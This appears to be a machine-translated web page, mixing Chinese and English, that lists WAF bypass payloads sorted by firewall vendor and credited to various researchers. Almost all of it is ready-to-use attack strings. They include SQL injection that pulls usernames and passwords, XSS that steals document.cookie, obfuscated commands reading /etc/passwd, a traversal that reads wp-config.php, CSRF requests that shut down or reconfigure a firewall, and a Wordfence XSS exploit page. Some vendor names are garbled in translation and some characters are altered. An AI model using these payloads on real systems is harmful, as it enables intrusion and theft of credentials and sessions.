0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

@Yuri Goltsev(v2.2)的SQLi绕过

1 AND (select DCount(last(username)&after=1&after=1) from users where username=’ad1min’)

@Ahmad Maulana(v2.2)的SQLi绕过

1’UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-

SQLi Bypass by @Travis Lee (v2.2)

amUserId=1 union select username,password,3,4 from users

@Roberto Salgado(v2.2)的SQLi绕过

%0Aselect%200×00,%200×41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201

@Georgi Geshev(v2.2)的SQLi绕过

1%0bAND(SELECT%0b1%20FROM%20mysql.x)

@SQLMap开发人员(v2.2)的SQLi绕过

%40%40new%20union%23sqlmapsqlmap…%0Aselect%201,2,database%23sqlmap%0A%28%29

@HackPlayers(v2.2)的SQLi绕过

%0Aselect%200×00%2C%200×41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201

Imperva

Imperva SecureSphere 13-@ rsp3ar的远程命令执行

XSS绕过@David Y

<svg onload\r\n=$.globalEval(“al”+”ert()”);>

XSS绕过@Emad Shanab

<svg/onload=self[`aler`%2b`t`]`1`>

anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

XSS绕过@WAFNinja

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523×28%3B%2526%2523×27%3B%2526%2523×58%3B%2526%2523×53%3B%2526%2523×53%3B%2526%2523×27%3B%2526%2523×29%3B%22%3E

XSS绕过@ i_bo0om

<iframe/onload=’this[“src”]=”javas&Tab;cript:al”+”ert“”‘;>

<img/src=q onerror=’new Function`al\ert\`1\“’>

XSS绕过@ c0d3g33k

<object data=’data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==’></object>

SQLi绕过@ DRK1WI

15 and ‘1’=(SELECT ‘1’ FROM dual) and ‘0having’=’0having’

SQLi通过@Giuseppe D’Amore

stringindatasetchoosen%%’ and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like ‘%%dministrator’ and rownum<=1 and PASSWORD like ‘0%’) and ‘1%%’=’1

Imperva SecureSphere <= v13 – Privilege Escalation by @0x09AL

Kona SiteDefender

HTML注入@ sp1d3rs

%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E

XSS绕过@Jonathan Bouman

<body%20alt=al%20lang=ert%20onmouseenter=”top[‘al’+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)”

XSS绕过@zseano

?”></script><base%20c%3D=href%3Dhttps:\mysite>

XSS绕过@ 0xInfection

<abc/onmouseenter=confirm%60%60>

XSS绕过@ sp1d3rs

%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E

XSS绕过@FransRosén

<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>

XSS绕过@Ishaq Mohammed

<marquee+loop=1+width=0+onfinish=’new+Function`al\ert\`1\“’>

专业

@Michael Brooks的GET Type CSRF攻击(> = v.2.6.2)

关闭Proface机器

<img src=https://host:2000/ajax.html?action=shutdown>

添加代理

<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>

@Michael Brooks的XSS绕过(> = v.2.6.2)

https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>”<script>alert(document.cookie)</script>

XSS绕过@EnableSecurity(> = v2.4)

%3CEvil%20script%20goes%20here%3E=%0AByPass

%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E

快速防御

XSS绕过@WAFNinja

?<input type=”search” onsearch=”aler\u0074(1)”>

<details ontoggle=alert(1)>

苏库里

通过@theMiddle走私RCE有效负载

/???/??t+/???/??ss??

通过@theMiddle混淆RCE有效负载

;+cat+/e’tc/pass’wd

c\\a\\t+/et\\c/pas\\swd

XSS绕过@Luka

“><input/onauxclick=”[1].map(prompt)”>

XSS绕过@Brute Logic

data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>

<input type=hidden name=a value=”<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>”>

<input type=submit></form>

URL扫描

@ ZeQ3uL(<= v3.1)进行目录遍历(仅在ASP.NET上)

http://host.com/test.asp?file=.%./bla.txt

WebARX

@ 0xInfection的跨站点脚本

<a69/onauxclick=open&#40&#41>rightclickhere

Web骑士

@WAFNinja的跨站点脚本

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>

<marquee/onstart=confirm(2)>

<details ontoggle=alert(1)>

<div contextmenu=”xss”>Right-Click Here<menu id=”xss” onshow=”alert(1)”>

<img src=x onwheel=prompt(1)>

@WAFNinja编写的SQLi

0 union(select 1,username,password from(users))

0 union(select 1,@@hostname,@@datadir)

XSS绕过@Aatif Khan(v4.1)

<details ontoggle=alert(1)>

<div contextmenu=”xss”>Right-Click Here<menu id=”xss” onshow=”alert(1)”>

SQLi绕过@ ZeQ3uL

10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

围栏

XSS绕过@brute Logic

<a href=javas&#99;ript:alert(1)>

XSS绕过@ 0xInfection

<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click

@Voxel的HTML注入

http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

@MustLive(> = v3.3.5)的XSS漏洞

<html>

<head>

<title>Wordfence Security XSS exploit (C) 2012 MustLive.

http://websecurity.com.ua</title>

</head>

<body onLoad=”document.hack.submit()”>

<form name=”hack” action=”http://site/?_wfsf=unlockEmail” method=”post”>

<input type=”hidden” name=”email”

value=”<script>alert(document.cookie)</script>”>

</form>

</body>

</html>

其他XSS绕过

<meter onmouseover=”alert(1)”

‘”>><div><meter onmouseover=”alert(1)”</div>”

>><marquee loop=1 width=0 onfinish=alert(1)>

通用Apache

@ i_bo0om以小写形式编写方法类型

get /login HTTP/1.1

Host: favoritewaf.com

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS通用

@ i_bo0om方法之前的标签

GET /login.php HTTP/1.1

Host: favoritewaf.com

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

点击数:352

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Source: github.com/k4yt3x/flowerhd
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